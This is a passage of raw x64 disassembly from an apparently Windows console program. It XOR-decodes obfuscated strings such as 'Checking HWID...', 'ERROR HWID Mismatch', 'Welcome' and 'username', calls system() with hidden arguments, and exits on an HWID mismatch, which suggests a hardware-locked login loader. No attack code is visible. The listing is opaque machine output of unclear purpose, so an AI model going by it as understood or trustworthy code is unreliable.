mov rax, qword [rsp + 0x330]
lea rax, [rsp + rax + 0x1691]
mov qword [rsp + 0xbc8], rax
mov rax, qword [rsp + 0xbc8]
mov cl, byte [rsp + 0xb9]
mov byte [rax], cl
jmp 0x14004d662
mov eax, 0x15
imul rax, rax, 1
lea rax, [rsp + rax + 0x1691]
mov qword [rsp + 0xbd0], rax
mov rax, qword [rsp + 0xbd0]
mov byte [rax], 0
lea rax, [rsp + 0x1691]
mov qword [rsp + 0xbd8], rax
mov rdx, qword [rsp + 0xbd8]
lea rcx, [rsp + 0x1bd0]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1bd0]
call fcn.140029050
nop
lea rcx, [rsp + 0x1bd0]
call fcn.140005314
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x14a0], 0x32
movsx eax, byte [rsp + 0x14a0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3ba4]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14a1], al
movsx eax, byte [rsp + 0x14a0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3ba4]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14a2], al
movsx eax, byte [rsp + 0x14a0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d3ba4]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14a3], al
lea rax, [rsp + 0x14a4]
lea rax, [rsp + 0x14a4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x338], 0
jmp 0x14004d80e
mov rax, qword [rsp + 0x338]
inc rax
mov qword [rsp + 0x338], rax
cmp qword [rsp + 0x338], 3
jae 0x14004d878
mov rax, qword [rsp + 0x338]
lea rax, [rsp + rax + 0x14a1]
mov qword [rsp + 0xbe0], rax
mov rax, qword [rsp + 0xbe0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14a0]
xor eax, ecx
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0x338]
lea rax, [rsp + rax + 0x14a1]
mov qword [rsp + 0xbe8], rax
mov rax, qword [rsp + 0xbe8]
mov cl, byte [rsp + 0xba]
mov byte [rax], cl
jmp 0x14004d7fb
mov eax, 3
imul rax, rax, 1
lea rax, [rsp + rax + 0x14a1]
mov qword [rsp + 0xbf0], rax
mov rax, qword [rsp + 0xbf0]
mov byte [rax], 0
lea rax, [rsp + 0x14a1]
mov qword [rsp + 0xbf8], rax
mov rcx, qword [rsp + 0xbf8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x98], 0x25
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3bb4]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x99], al
movsx eax, byte [rsp + 0x98]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3bb4]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x9a], al
lea rax, [rsp + 0x9b]
lea rax, [rsp + 0x9b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x340], 0
jmp 0x14004d94d
mov rax, qword [rsp + 0x340]
inc rax
mov qword [rsp + 0x340], rax
cmp qword [rsp + 0x340], 2
jae 0x14004d9b7
mov rax, qword [rsp + 0x340]
lea rax, [rsp + rax + 0x99]
mov qword [rsp + 0xc00], rax
mov rax, qword [rsp + 0xc00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x98]
xor eax, ecx
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x340]
lea rax, [rsp + rax + 0x99]
mov qword [rsp + 0xc08], rax
mov rax, qword [rsp + 0xc08]
mov cl, byte [rsp + 0xbb]
mov byte [rax], cl
jmp 0x14004d93a
mov eax, 2
imul rax, rax, 1
lea rax, [rsp + rax + 0x99]
mov qword [rsp + 0xc10], rax
mov rax, qword [rsp + 0xc10]
mov byte [rax], 0
lea rax, [rsp + 0x99]
mov qword [rsp + 0xc18], rax
mov rcx, qword [rsp + 0xc18]
call fcn.140005fa4
mov cx, 9
call fcn.1400290ec
mov byte [rsp + 0x1660], 8
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1661], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1662], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1663], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1664], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1665], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1666], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1667], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1668], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1669], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x166a], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x166b], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x166c], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x166d], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x166e], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x166f], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1670], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1671], al
movsx eax, byte [rsp + 0x1660]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.__Checking_HWID...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1672], al
lea rax, [rsp + 0x1673]
lea rax, [rsp + 0x1673]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x348], 0
jmp 0x14004dd04
mov rax, qword [rsp + 0x348]
inc rax
mov qword [rsp + 0x348], rax
cmp qword [rsp + 0x348], 0x12
jae 0x14004dd6e
mov rax, qword [rsp + 0x348]
lea rax, [rsp + rax + 0x1661]
mov qword [rsp + 0xc20], rax
mov rax, qword [rsp + 0xc20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1660]
xor eax, ecx
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0x348]
lea rax, [rsp + rax + 0x1661]
mov qword [rsp + 0xc28], rax
mov rax, qword [rsp + 0xc28]
mov cl, byte [rsp + 0xbc]
mov byte [rax], cl
jmp 0x14004dcf1
mov eax, 0x12
imul rax, rax, 1
lea rax, [rsp + rax + 0x1661]
mov qword [rsp + 0xc30], rax
mov rax, qword [rsp + 0xc30]
mov byte [rax], 0
lea rax, [rsp + 0x1661]
mov qword [rsp + 0xc38], rax
mov rdx, qword [rsp + 0xc38]
lea rcx, [rsp + 0x1bf0]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1bf0]
call fcn.140029050
nop
lea rcx, [rsp + 0x1bf0]
call fcn.140005314
lea rcx, [0x1400d3bcc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x1990]
mov qword [rsp + 0xc40], rax
mov rax, qword [rsp + 0xc40]
mov rcx, rax
call fcn.140005d38
lea rcx, [rsp + 0x1990]
call fcn.1400053f8
nop
lea rax, [rsp + 0x1238]
mov qword [rsp + 0xc48], rax
lea rax, [rsp + 0x1258]
mov qword [rsp + 0xc58], rax
lea rdx, [rsp + 0x1a70]
mov rcx, qword [rsp + 0xc48]
call fcn.1400539e0
mov qword [rsp + 0xc50], rax
mov rax, qword [rsp + 0xc50]
mov qword [rsp + 0xc60], rax
lea rdx, [rsp + 0x1970]
mov rcx, qword [rsp + 0xc58]
call fcn.1400539e0
mov qword [rsp + 0xc68], rax
lea r8, [rsp + 0x1990]
mov rdx, qword [rsp + 0xc60]
mov rcx, qword [rsp + 0xc68]
call fcn.140031edc
movzx eax, al
test eax, eax
jne 0x14004e45b
lea rcx, [0x1400d3bdc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dx, 4
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov byte [rsp + 0x16c0], 0xf
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16c1], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16c2], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16c3], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16c4], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16c5], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16c6], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16c7], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16c8], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16c9], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ca], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16cb], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16cc], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16cd], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ce], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16cf], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d0], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d1], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d2], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d3], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d4], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d5], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d6], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d7], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d8], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16d9], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16da], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16db], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16dc], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16dd], al
movsx eax, byte [rsp + 0x16c0]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str._n_n___ERROR__HWID_Mismatch__n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16de], al
lea rax, [rsp + 0x16df]
lea rax, [rsp + 0x16df]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x350], 0
jmp 0x14004e39b
mov rax, qword [rsp + 0x350]
inc rax
mov qword [rsp + 0x350], rax
cmp qword [rsp + 0x350], 0x1e
jae 0x14004e405
mov rax, qword [rsp + 0x350]
lea rax, [rsp + rax + 0x16c1]
mov qword [rsp + 0xc70], rax
mov rax, qword [rsp + 0xc70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16c0]
xor eax, ecx
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x350]
lea rax, [rsp + rax + 0x16c1]
mov qword [rsp + 0xc78], rax
mov rax, qword [rsp + 0xc78]
mov cl, byte [rsp + 0xbd]
mov byte [rax], cl
jmp 0x14004e388
mov eax, 0x1e
imul rax, rax, 1
lea rax, [rsp + rax + 0x16c1]
mov qword [rsp + 0xc80], rax
mov rax, qword [rsp + 0xc80]
mov byte [rax], 0
lea rax, [rsp + 0x16c1]
mov qword [rsp + 0xc88], rax
mov rcx, qword [rsp + 0xc88]
call fcn.140005fa4
lea rcx, [0x1400d4780]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rax, [rsp + 0x1278]
mov qword [rsp + 0xc90], rax
lea rax, [rsp + 0x1298]
mov qword [rsp + 0xca0], rax
lea rdx, [rsp + 0x1990]
mov rcx, qword [rsp + 0xc90]
call fcn.1400539e0
mov qword [rsp + 0xc98], rax
mov rax, qword [rsp + 0xc98]
mov qword [rsp + 0xca8], rax
lea rdx, [rsp + 0x1970]
mov rcx, qword [rsp + 0xca0]
call fcn.1400539e0
mov qword [rsp + 0xcb0], rax
mov r8, qword [rsp + 0xca8]
mov rdx, qword [rsp + 0xcb0]
lea rcx, [rsp + 0x1df0]
call fcn.14002c278
nop
mov byte [rsp + 0x15f8], 0x17
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15f9], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15fa], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15fb], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15fc], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15fd], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15fe], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15ff], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1600], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1601], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1602], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1603], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1604], al
movsx eax, byte [rsp + 0x15f8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._n_n__Welcome_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1605], al
lea rax, [rsp + 0x1606]
lea rax, [rsp + 0x1606]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x358], 0
jmp 0x14004e723
mov rax, qword [rsp + 0x358]
inc rax
mov qword [rsp + 0x358], rax
cmp qword [rsp + 0x358], 0xd
jae 0x14004e78d
mov rax, qword [rsp + 0x358]
lea rax, [rsp + rax + 0x15f9]
mov qword [rsp + 0xcb8], rax
mov rax, qword [rsp + 0xcb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15f8]
xor eax, ecx
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x358]
lea rax, [rsp + rax + 0x15f9]
mov qword [rsp + 0xcc0], rax
mov rax, qword [rsp + 0xcc0]
mov cl, byte [rsp + 0xbe]
mov byte [rax], cl
jmp 0x14004e710
mov eax, 0xd
imul rax, rax, 1
lea rax, [rsp + rax + 0x15f9]
mov qword [rsp + 0xcc8], rax
mov rax, qword [rsp + 0xcc8]
mov byte [rax], 0
lea rax, [rsp + 0x15f9]
mov qword [rsp + 0xcd0], rax
mov rdx, qword [rsp + 0xcd0]
lea rcx, [rsp + 0x1c10]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1c10]
call fcn.140029050
nop
lea rcx, [rsp + 0x1c10]
call fcn.140005314
mov cx, 0xa
call fcn.1400290ec
mov byte [rsp + 0x1598], 0x11
movsx eax, byte [rsp + 0x1598]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.username
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1599], al
movsx eax, byte [rsp + 0x1598]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.username
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x159a], al
movsx eax, byte [rsp + 0x1598]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.username
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x159b], al
movsx eax, byte [rsp + 0x1598]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.username
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x159c], al
movsx eax, byte [rsp + 0x1598]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.username
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x159d], al
movsx eax, byte [rsp + 0x1598]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.username
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x159e], al
movsx eax, byte [rsp + 0x1598]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.username
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x159f], al
movsx eax, byte [rsp + 0x1598]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.username
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x15a0], al
lea rax, [rsp + 0x15a1]
lea rax, [rsp + 0x15a1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x360], 0
jmp 0x14004e97d
mov rax, qword [rsp + 0x360]
inc rax
mov qword [rsp + 0x360], rax
cmp qword [rsp + 0x360], 8
jae 0x14004e9e7
mov rax, qword [rsp + 0x360]
lea rax, [rsp + rax + 0x1599]
mov qword [rsp + 0xcd8], rax
mov rax, qword [rsp + 0xcd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1598]
xor eax, ecx
mov byte [rsp + 0xbf], al
mov rax, qword [rsp + 0x360]
lea rax, [rsp + rax + 0x1599]
mov qword [rsp + 0xce0], rax
mov rax, qword [rsp + 0xce0]
mov cl, byte [rsp + 0xbf]
mov byte [rax], cl
jmp 0x14004e96a
mov eax, 8
imul rax, rax, 1
lea rax, [rsp + rax + 0x1599]
mov qword [rsp + 0xce8], rax
mov rax, qword [rsp + 0xce8]
mov byte [rax], 0
lea rax, [rsp + 0x1599]
mov qword [rsp + 0xcf0], rax
mov rdx, qword [rsp + 0xcf0]
lea rcx, [rsp + 0x1df0]
call fcn.1400609e0
mov qword [rsp + 0xcf8], rax
mov rax, qword [rsp + 0xcf8]
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
movzx eax, word [rax + 0xe]
and eax, 0x1000
test eax, eax
je 0x14004ea6f
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x440], rax
jmp 0x14004ea90
mov rax, qword [rsp + 0x3f0]
movabs rcx, 0xffffffffffff
mov rax, qword [rax + 8]
and rax, rcx
mov qword [rsp + 0x440], rax
mov byte [rsp + 0x14c8], 0x35
movsx eax, byte [rsp + 0x14c8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._s_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14c9], al
movsx eax, byte [rsp + 0x14c8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._s_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14ca], al
movsx eax, byte [rsp + 0x14c8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._s_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14cb], al
movsx eax, byte [rsp + 0x14c8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._s_n_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x14cc], al
lea rax, [rsp + 0x14cd]
lea rax, [rsp + 0x14cd]
